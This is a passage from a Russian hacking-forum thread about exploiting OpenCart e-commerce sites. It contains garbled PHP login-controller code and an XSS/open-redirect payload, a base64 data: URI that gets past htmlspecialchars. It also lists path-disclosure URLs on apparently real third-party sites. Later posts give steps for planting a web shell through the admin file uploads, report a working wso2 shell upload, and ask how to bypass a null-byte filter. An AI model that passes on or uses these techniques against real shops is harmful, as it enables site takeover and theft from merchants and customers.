COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'redirect'[/COLOR][COLOR="#007700"]]));

} else {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);

}

}

}

[/
COLOR][COLOR="#FF8000"]/*...*/

[/COLOR][COLOR="#007700"]private function[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]() {

if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'message'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error_login'[/COLOR][COLOR="#007700"]);

}

if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]) {

return[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"];

} else {

return[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][/COLOR
Чтоб попасть на account/login.php надо установить переменную ?route=account/login

Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!

Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+



Експлоит:


Код HTML:
HTML:

 гуд

 плохо

Как жизнь?
зы

?route=account/login - только гет!

Раскрытие путей

http://www.hellomydream.com/admin/controller/common/header.php

http://garmata.net/admin/controller/payment/alertpay.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php

http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php

и другие.
 
Ответить с цитированием

  #3  
Старый 22.12.2011, 21:15
DarkMaster
Новичок
Регистрация: 17.04.2010
Сообщений: 0
Провел на форуме:
194

Репутация: 0
По умолчанию

Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.
 
Ответить с цитированием

  #4  
Старый 11.05.2013, 19:47
GoodGoogle
Guest
Сообщений: n/a
Провел на форуме:
321017

Репутация: 226
По умолчанию

Цитата:
Сообщение от DarkMaster  
DarkMaster said:
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.
В админке заходишь в графу - > Файлы для загрузки.

После чего перейменовываешь шел в shell.php.txt и заливаешь.

Получаешь ссылку на файл, заходишь по ней, ссылка вида: http://site.ru/download/shell.php.txt появляется окно ввода пароля. Вот и все.
 
Ответить с цитированием

  #5  
Старый 31.07.2013, 00:02
TRX.new
Участник форума
Регистрация: 27.04.2009
Сообщений: 189
Провел на форуме:
1141766

Репутация: 69
По умолчанию

need help!

Всем привет! Дело имею с opencart 1.5.3.1 и 1.5.2.1 . Проблема вот в чем: успешно работает заливка файла через route=product/product/upload, получаю шифрованный ответ в json, ключ я узнал и соответственно имя файла, которое получилось на сервере тоже. Попробовал залить shell на 1.5.3.1 - все ок, работает. Заливаю также на 1.5.2.1 - болт. Версия php на обоих серваках X-Powered-By PHP/5.2.17. Покажу пример имен файлов в обоих случаях:

Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Код:
Code:
Неудачная заливка: test.php&#;.jpg.8604d5110d3e81f88cee94d06acab263
Как видно проблема в нуль-байте, скорее всего magic quotes. Прошу совета! Как это обойти и все-таки выполнить shell , очень нужно.
 
Ответить с цитированием

  #6  
Старый 04.10.2013, 14:00
aivi
Новичок
Регистрация: 18.04.2010
Сообщений: 0
Провел на форуме:
120

Репутация: 0
По умолчанию

Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Привет, а не подскажешь как имя узнал?
 
Ответить с цитированием

  #7  
Старый 18.12.2013, 11:20
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

htaccess в корне, заворачивающий все на index.php рубит все попытки залить шелл из админки?
 
Ответить с цитированием

  #8  
Старый 20.12.2013, 12:49
ICQ Hool
Участник форума
Регистрация: 31.03.2008
Сообщений: 143
Провел на форуме:
403124

Репутация: 95
По умолчанию

Цитата:
Сообщение от aivi  
aivi said:
Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Привет, а не подскажешь как имя узнал?
я так понял что приписка в конце файла это md5(rand())

брутить надо походу (

кто подскажет?
 
Ответить с цитированием

  #9  
Старый 29.12.2013, 03:41
SMAC
Новичок
Регистрация: 24.04.2008
Сообщений: 22
Провел на форуме:
1076908

Репутация: 16
По умолчанию

Цитата:
Сообщение от ICQ Hool  
ICQ Hool said:
я так понял что приписка в конце файла это md5(rand())
брутить надо походу (
кто подскажет?
каталог-загрузки. Загружаешь там и имя файла в открытом виде получаешь
 
Ответить с цитированием

  #10  
Старый 30.04.2016, 13:18
LETIFERUM
Guest
Сообщений: n/a
Провел на форуме:
13700

Репутация: 0
По умолчанию

Кто нибудь подскажет как расшифровать?не имея доступа в админку
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ